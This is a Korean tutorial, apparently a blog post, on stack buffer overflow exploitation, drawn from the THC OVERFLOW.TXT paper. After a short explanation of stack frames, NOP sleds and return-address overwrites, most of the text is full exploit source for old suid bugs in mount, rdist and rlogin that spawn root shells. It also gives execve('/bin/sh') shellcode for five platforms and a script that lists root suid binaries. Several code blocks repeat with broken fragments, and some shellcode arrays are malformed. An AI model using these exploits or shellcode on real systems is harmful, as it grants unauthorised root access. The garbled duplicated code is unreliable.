버퍼 오버플로우 공격은 해킹에서 가장 기본적으로 다뤄지는 방법이다. 워낙 많은 프로그램들이 이 취약점을 갖고 있기 때문에 네트워크나 다른 여러 시스템을 해킹하는데 많이 이용된다. 하지만 이런 인기에 비해 직접 공격을 구현하기는 절대 쉬운 일이 아니다. 컴퓨터에 대한 많은 지식들이 기본적으로 바탕이 된 상태에서 프로그램의 취약점을 찾아내는 경우에만 비로소 버퍼 오버플로우 공격이 성공할 수 있게 된다. 여기서 내가 다루고자 하는 것은 이미 발견되어 있는 코드를 그냥 이용하는 것에 그치지 않고 직접 버퍼 오버플로우 취약점을 발견하여 공격하는 방법을 스스로 알아내는 것을 목표로 한다. 그러므로 여러 기본 지식을 간략히 설명한 후에 몇 가지 예시를 같이 올릴 예정이다.
단, 모든 내용은 웹문서 STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX (http://freeworld.thc.org/papers/OVERFLOW.TXT)에 근거한다.
2. 스택의 구조
스택은 자료구조의 한 종류로 가장 큰 특징은 LIFO 이다. 이것은 Last In First Out이란 뜻으로 가장 마지막에 들어온 데이터가 가장 먼저 나온다는 의미이다. 이와 반대되는 자료구조는 큐가 있다. 그것은 First In First Out으로 가장 먼저 들어온 데이터가 가장 먼저 나온다는 의미이다. 여기서 스택이 중요한 의미는 프로그램이 구동될 때 중요한 정보들이 이 스택구조를 이용하여 저장된다. 그러므로 스택에 어떤 식으로 저장되는지 알아야 우리가 원하는 변수를 덮어 쓸 수 있으므로 스택 구조의 이해는 필수라 할 수 있다. 더욱 자세한 내용은 위키피디아를 참고하기 바린다.
3. 버퍼 오버플로우 공격
Call stack이라 불리는 이 스택이 바로 프로그램 실행시 여러가지 중요한 정보를 저장하고 있는 자료구조이다. 여기에 저장되어 있는 여러 변수들 중에 가장 중요하게 다루어야 할 부분은 바로 return address이다. 이 변수는 프로그램이 다른 프로시저를 호출할 때 프로시저 실행이 끝난 후에 돌아와서 계속 진행할 코드의 주소를 담고 있다. 그래서 버퍼 오버플로우 어택에서 이 부분의 주소를 공격자가 다른 주소로 바꿀 시에 공격자가 원하는 코드를 실행하거나 프로그램을 충돌시킬 수 있다. 우선은 위의 페이퍼에서 나타난 예시를 보자.
이 스택은 한 프로그램에서 다른 프로시저를 호출했을 때의 스택의 내부를 보여주는 예시이다. 이 스택프레임은 현재 parameters, return address, base pointer, 그리고 local variables가 어떤 구조로 스택에 저장돼 있는지를 보여준다. 여기서 우리가 버퍼 오버플로우 공격을 한다고 가정해본다. 만약 array2에 'X'를 1032번 쓴다면, array2의 크기 (1024 B) 를 벗어나 base pointer 부분과 return address 부분까지 덮어쓸 수 있게 된다. 아래 그림이 이 경우의 스택의 상태를 보여준다.
이 와 비슷한 방식으로, return address 부분에 원하는 주소값을 쓰게 된다면, 이 프로시저 호출이 끝나고 난 뒤에 새로 적은 그 주소로 넘어가서 계속 실행할 것이다. 이것이 바로 버퍼 오버플로우 공격의 기본 시나리오이다. 이 경우 스택은 다음과 같은 모양이 된다.
이 때, array2 버퍼에 어셈블리 코드를 넣고 return address를 array2의 주소 값으로 덮어쓰면 프로그램은 자동적으로 그 코드를 실행하게 되므로 공격자가 원하는 어떠한 명령도 실행할 수 있다.
4. 어셈블러에서 shell 실행
만약 공격 대상 프로그램이 suid 플래그가 설정되어 있어서 프로그램 실행중일 때 임시적으로 root 권한을 얻는다면, 버퍼 오버플로우 공격을 통해 프로그램이 임시적으로 root 권한을 얻어 실행할 그 순간 쉘 프로그램을 실행시킴으로써, 공격자는 root 권한을 가진 쉘을 얻게 된다. 그런 후에는 공격자는 root권한으로 모든 명령을 실행할 수 있는 능력을 얻게 된다. 이를 위해서는 우선 return address까지 몇 바이트가 떨어진 지 알아야 한다. 이 경우에는 1024 바이트의 array2 버퍼가 있고 그 후에 4 바이트의 base pointer 그리고 4 바이트의 return address가 있다. 그러므로 총 1032 바이트를 써야 return address를 덮어쓸 수 있는 것이다. 그러면, 바로 이전 단계서 설명했던 방식대로, array2에 쉘을 실행시키는 코드를 넣어야 한다. (시스템별 쉘 실행코드는 아래쪽에 나와있다) 그리고 난 후, 1028 바이트까지 NOP (no operation) 문자로 채워준 후에 4 바이트의 주소값을 바꿔주면 되는 것이다. 페이퍼에서 보여주는 코드는 array2에 넣어질 데이터를 한 버퍼에 저장하는 방법을 보여준다.
char buffer[1032];
int i = 0;
// 버퍼에 남는 부분을 NOP 문자로 채우기
for(i = 0; i < 1024 - strlen(execshell); i++){
buffer[i] = 0x90;
}
// 쉘 코드 복사
for(i = 0; i < strlen(execshell); i++){
buffer[i + 1024 - strlen(execshell)] = execshell[i];
}
또 다른 방법으로는,
// 버퍼에 남는 부분을 NOP 문자로 채우기
memset(buffer, 0x90, 1024 - strlen(execshell));
buffer += 1024 - strlen(execshell);
// 쉘 코드 복사
for(i = 0; i < strlen(execshell); i++){
*(buffer++) = execshell[i];
}
이 러고 난 후에, buffer를 array2에 넣어주면 자연스럽게 버퍼에 쉘코드가 들어가게 된다. 하지만 아직 return address가 고쳐진 것은 아니다. 단, 여기서 한가지 주의해야 할 점이 있다. 버퍼에 들어가는 쉘 코드가 처음에 위치하지 않고 버퍼의 가장 마지막 부분에 위치하고 윗 부분은 NOP 문자로 채워진다. 이렇게 하는 이유는 실제 버퍼의 위치를 추론하는 과정에서 설명될 예정이지만, 미리 얘기하자면, 만약 포인터 계산이 잘못 되어 쉘 코드 이전의 어떤 한 주소로 return address가 가리켜지더라도 NOP을 가리키게 되므로 쉘 코드가 중간부터 실행되어 발생하는 에러를 미연에 방지할 수 있게 되기 때문이다. 이제 실제 주소 얻는 방법을 보자.
5. 실제 스택 주소 얻기
실제 스택 주소는 현재 프로시저의 스택 프레임이 저장되기 직전에 저장되는 스택 주소 (OSP = old stack pointer) 에서 계산해 낼 수 있다. 아래 예시를 보자.
이 경우에, 우리는 array2를 통해 공격을 하지만 다른 지역 변수들이 array2 위에 위치하고 있다. 그래서 우리는 이 변수들을 건너뛰는 offset을 OSP값에 더해주어 array2의 주소를 계산할 수 있다. OSP를 출력해주는 코드는 아래에 따로 첨부되어 있다. 또 다른 한가지 방법은, 지역 변수 바로 아래에 저장되어 있는 base pointer 부분을 이용하는 것도 가능하다.
6. 공격 대상 프로그램
미리 언급한 바와 같이, 버퍼 오버플로우 공격 대상은 주로 suid 플래그가 설정된 프로그램이다. 이 프로그램을 공격함으로써 공격자는 root권한의 쉘을 얻을 수 있고 그 이후는 시스템이 완전 정복되었다고 봐도 무방하다. 그러나 모든 프로그램이 버퍼 오버플로우 공격이 가능한 것은 아니다. 참고한 문서에서는 프로그램이 이 취약점을 갖고 있는지 확인하는 방법을 두가지 제시한다. 첫째는 커맨드 라인이다. 커맨드 라인으로 변수를 건네줄 때 사이즈를 임의대로 길게 만들면서 (i.e., 1024+4, 256+4, 512+4, etc) segmentation fault가 뜨는지 체크한다. 이러면서 입력 변수에 할당된 버퍼의 크기를 알 수 있게 된다. 이런 방법으로 프로그램이 segmentation fault를 발생하면 취약점이 있다는 소리이다. 둘째는 환경 변수이다. 프로그램이 실행될 때 자동적으로 환경 변수를 읽게 되는데 어떤 환경 변수가 읽히는지는 알기 쉽지 않다. 그러므로 만약 소스 코드 자체를 볼 수 있지 않으면 이 방법은 이용되기 힘들다. 만약 어떤 환경 변수가 이용되는지 알게 되면 환경 변수의 값을 바꾸면서 역시나 segmentation fault가 생기는지 체크하면 된다.
7. 실제 공격 예시
현재 이 방법들은 패치가 된 상태지만 실제 공격 방법에 대한 개념을 잡는데는 많은 도움이 된다.
- exploit on mount.c
/* -------------------------------------------------------------------------
mount.c - mount exploit for linux - version: < 2.0.10
discovered by bloodmask&vio/couin
coded by plasmoid/thc/deep for thc-magazine issue #3
12/12/96 - works also on umount
------------------------------------------------------------------------- */
#include <stdio.h>
#define lv_size 1024
#define offset 30+lv_size+8*4
// -------------------------------------------------------------------------
long get_sp()
{
__asm__("movl %esp, %eax");
}
// -------------------------------------------------------------------------
main(int argc, char **argv)
{
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char buffer[lv_size+4*8];
unsigned long *ptr2 = NULL;
char *ptr = NULL;
int i;
for(i=0;i<lv_size+4*8;i++)
buffer[i]=0x00;
ptr=buffer;
for(i=0;i<lv_size-strlen(execshell);i++)
*(ptr++)=0x90;
for(i=0;i<strlen(execshell);i++)
*(ptr++)=execshell[i];
ptr2=(long *)ptr;
for(i=1;i<2;i++)
*(ptr2++)=get_sp()+offset;
printf("discovered by bloodmask&vio/couin\ncoded by plasmoid/thc/deep\nfor thc-magazine issue #3\n");
(void)alarm((int)0);
execl("/bin/mount", "mount", buffer, NULL);
}
mount.c - mount exploit for linux - version: < 2.0.10
discovered by bloodmask&vio/couin
coded by plasmoid/thc/deep for thc-magazine issue #3
12/12/96 - works also on umount
------------------------------------------------------------------------- */
#include <stdio.h>
#define lv_size 1024
#define offset 30+lv_size+8*4
// -------------------------------------------------------------------------
long get_sp()
{
__asm__("movl %esp, %eax");
}
// -------------------------------------------------------------------------
main(int argc, char **argv)
{
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char buffer[lv_size+4*8];
unsigned long *ptr2 = NULL;
char *ptr = NULL;
int i;
for(i=0;i<lv_size+4*8;i++)
buffer[i]=0x00;
ptr=buffer;
for(i=0;i<lv_size-strlen(execshell);i++)
*(ptr++)=0x90;
for(i=0;i<strlen(execshell);i++)
*(ptr++)=execshell[i];
ptr2=(long *)ptr;
for(i=1;i<2;i++)
*(ptr2++)=get_sp()+offset;
printf("discovered by bloodmask&vio/couin\ncoded by plasmoid/thc/deep\nfor thc-magazine issue #3\n");
(void)alarm((int)0);
execl("/bin/mount", "mount", buffer, NULL);
}
- exploit on rdist.c
/* -------------------------------------------------------------------------
rdist.c - rdist exploit for freebsd & bsd/os - version: 2.0
discovered by brian mitchell
coded by plasmoid/thc/deep for thc-magazine issue #3
12/12/96
------------------------------------------------------------------------- */
#include <stdio.h>
#define lv_size 256
#define offset 30+lv_size+8*4
// -------------------------------------------------------------------------
long get_sp()
{
__asm__("movl %esp, %eax");
}
// -------------------------------------------------------------------------
main(int argc, char **argv)
{
char execshell[]=
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
char buffer[lv_size+4*8];
unsigned long *ptr2 = NULL;
char *ptr = NULL;
int i;
for(i=0;i<lv_size+4*8;i++)
buffer[i]=0x00;
ptr=buffer;
for(i=0;i<lv_size-strlen(execshell);i++)
*(ptr++)=0x90;
for(i=0;i<strlen(execshell);i++)
*(ptr++)=execshell[i];
ptr2=(long *)ptr;
for(i=1;i<2;i++)
*(ptr2++)=get_sp()+offset;
printf("discovered by brian mitchell\ncoded by plasmoid/thc/deep\nfor thc-magazine issue #3\n");
execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
}
rdist.c - rdist exploit for freebsd & bsd/os - version: 2.0
discovered by brian mitchell
coded by plasmoid/thc/deep for thc-magazine issue #3
12/12/96
------------------------------------------------------------------------- */
#include <stdio.h>
#define lv_size 256
#define offset 30+lv_size+8*4
// -------------------------------------------------------------------------
long get_sp()
{
__asm__("movl %esp, %eax");
}
// -------------------------------------------------------------------------
main(int argc, char **argv)
{
char execshell[]=
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
char buffer[lv_size+4*8];
unsigned long *ptr2 = NULL;
char *ptr = NULL;
int i;
for(i=0;i<lv_size+4*8;i++)
buffer[i]=0x00;
ptr=buffer;
for(i=0;i<lv_size-strlen(execshell);i++)
*(ptr++)=0x90;
for(i=0;i<strlen(execshell);i++)
*(ptr++)=execshell[i];
ptr2=(long *)ptr;
for(i=1;i<2;i++)
*(ptr2++)=get_sp()+offset;
printf("discovered by brian mitchell\ncoded by plasmoid/thc/deep\nfor thc-magazine issue #3\n");
execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
}
- exploit on rlogin.c
/*
* rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
* by exploiting the gethostbyname() overflow in rlogin.
*
* gcc -o rlogin-exploit rlogin-exploit.c
*
* Jeremy Elson, 18 Nov 1996
* jeremy.elson@nih.gov
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 8200
#define EXTRA 100
#define STACK_OFFSET 4000
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
perror("execl failed");
}
* rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
* by exploiting the gethostbyname() overflow in rlogin.
*
* gcc -o rlogin-exploit rlogin-exploit.c
*
* Jeremy Elson, 18 Nov 1996
* jeremy.elson@nih.gov
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 8200
#define EXTRA 100
#define STACK_OFFSET 4000
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
perror("execl failed");
}
8. 마지막
버퍼 오버플로우 공격은 정말 무궁무진하다. 여기서 소개된 방법 말고도 정말 다양한 방법들이 존재하고 있고, 지금도 끊임없이 새로운 방법들이 발견되고 있다. 이런 취약점들을 없애기 위해 많은 방법들 또한 개발되고는 있으나 가장 중요한 것은 프로그래머들이 이런 취약점을 정확히 파악하고 피해가는 방향으로 프로그래밍을 해서 프로그램 자체가 취약점을 가지지 않게 하는 것이다.
** OS별 shell 실행 코드 **
1. linux/i80386+
어셈블리 코드:
jmp end_of_code
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call exec_prog
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call exec_prog
C언어 String 코드:
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
2. bsd/os/i80386+ and freebsd/i80386+
어셈블리 코드:
jmp end_of_code
popl %esi
leal (%esi), %ebx
movl %ebx, 0x0b(%esi)
xorl %edx, %edx
movl %edx, 7(%esi)
movl %edx, 0x0f(%esi)
movl %edx, 0x14(%esi)
movb %edx, 0x19(%esi)
xorl %eax, %eax
movb $59, %al
leal 0x0b(%esi), %ecx
movl %ecx, %edx
pushl %edx
pushl %ecx
pushl %ebx
pushl %eax
jmp bewm
call execve
popl %esi
leal (%esi), %ebx
movl %ebx, 0x0b(%esi)
xorl %edx, %edx
movl %edx, 7(%esi)
movl %edx, 0x0f(%esi)
movl %edx, 0x14(%esi)
movb %edx, 0x19(%esi)
xorl %eax, %eax
movb $59, %al
leal 0x0b(%esi), %ecx
movl %ecx, %edx
pushl %edx
pushl %ecx
pushl %ebx
pushl %eax
jmp bewm
call execve
C언어 String 코드:
char execshell[]=
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
3. solaris/sparc processor
어셈블리 코드:
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
C언어 String 코드:
char execshell[59]=
0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f,
0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08";
0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f,
0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08";
혹은,
char execshell[54]=
0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a,
0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004,
"/bin/sh";
0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a,
0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004,
"/bin/sh";
4. sunos/sparc processor
어셈블리 코드:
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
C언어 String 코드:
char execshell[63]=
0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01,
0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01";
0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01,
0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01";
5. hp-ux9/hp9000
C언어 String 코드:
char execshell[]=
"\x34\x59\x01\x02\x34\x5a\x01\x32\x37\x5a\x3e\xf9\x6b\x3a\x3f\x01"
"\x63\x40\x3f\xff\x34\x5a\x01\x38\x63\x40\x3f\x35\x37\x5a\x3e\xf9"
"\x6b\x3a\x3f\x09\x63\x40\x3f\xff\x0b\x5a\x02\x9a\x6b\x3a\x3f\x11"
"\x34\x5a\x01\x22\x37\x5a\x3e\xf9\x6f\x3a\x3e\xf9\x20\x20\x08\x01"
"\x34\x16\x01\x1e\xe4\x20\xe0\x08\x36\xd6\x3e\xf9\x0b\x5a\x02\x9a"
"\x20\x20\x08\x01\x34\x16\x01\x0a\xe4\x20\xe0\x08\x36\xd6\x3e\xf9"
"\xe8\x5f\x1f\x35\x0b\x5a\x02\x9a\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x00/bin/sh";
"\x34\x59\x01\x02\x34\x5a\x01\x32\x37\x5a\x3e\xf9\x6b\x3a\x3f\x01"
"\x63\x40\x3f\xff\x34\x5a\x01\x38\x63\x40\x3f\x35\x37\x5a\x3e\xf9"
"\x6b\x3a\x3f\x09\x63\x40\x3f\xff\x0b\x5a\x02\x9a\x6b\x3a\x3f\x11"
"\x34\x5a\x01\x22\x37\x5a\x3e\xf9\x6f\x3a\x3e\xf9\x20\x20\x08\x01"
"\x34\x16\x01\x1e\xe4\x20\xe0\x08\x36\xd6\x3e\xf9\x0b\x5a\x02\x9a"
"\x20\x20\x08\x01\x34\x16\x01\x0a\xe4\x20\xe0\x08\x36\xd6\x3e\xf9"
"\xe8\x5f\x1f\x35\x0b\x5a\x02\x9a\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x00/bin/sh";
** OS별 NOP 문자 **
linux/i80386+ - char nop[1]=0x90;
bsd/os/i80386+ and freebsd/i80386+ - char nop[1]=0x90;
solaris/sparc processor - char nop[4]=0xac15a16e;
sunos/sparc processor - char nop[4]=0xac15a16e;
hp-ux9/hp9000 - char nop[4]=0xac15a16e;
bsd/os/i80386+ and freebsd/i80386+ - char nop[1]=0x90;
solaris/sparc processor - char nop[4]=0xac15a16e;
sunos/sparc processor - char nop[4]=0xac15a16e;
hp-ux9/hp9000 - char nop[4]=0xac15a16e;
** 스택포인터 출력 코드 **
1. linux/i80386+ and bsd/os/i80386+ and freebsd/i80386+
long get_sp(){
__asm__("movl %esp, %eax");
}
2. solaris/sparc processor and sunos/sparc processor
long get_sp(){
asm("or %sp, %sp, %i0");
}
** suid권한 있는 프로그램 찾는 스크립트 **
#!/bin/sh
# findsuid.sh by plasmoid/thc/deep
# important directories for linux system, try different ones
# for other systems (/usr/etc, /usr/local/bin, /usr/local/etc, /usr/sbin)
find /bin -user root -perm +a=s > suid.lst
find /sbin -user root -perm +a=s >> suid.lst
find /usr/bin -user root -perm +a=s >> suid.lst
find /etc -user root -perm +a=s >> suid.lst
find /var -user root -perm +a=s >> suid.lst
댓글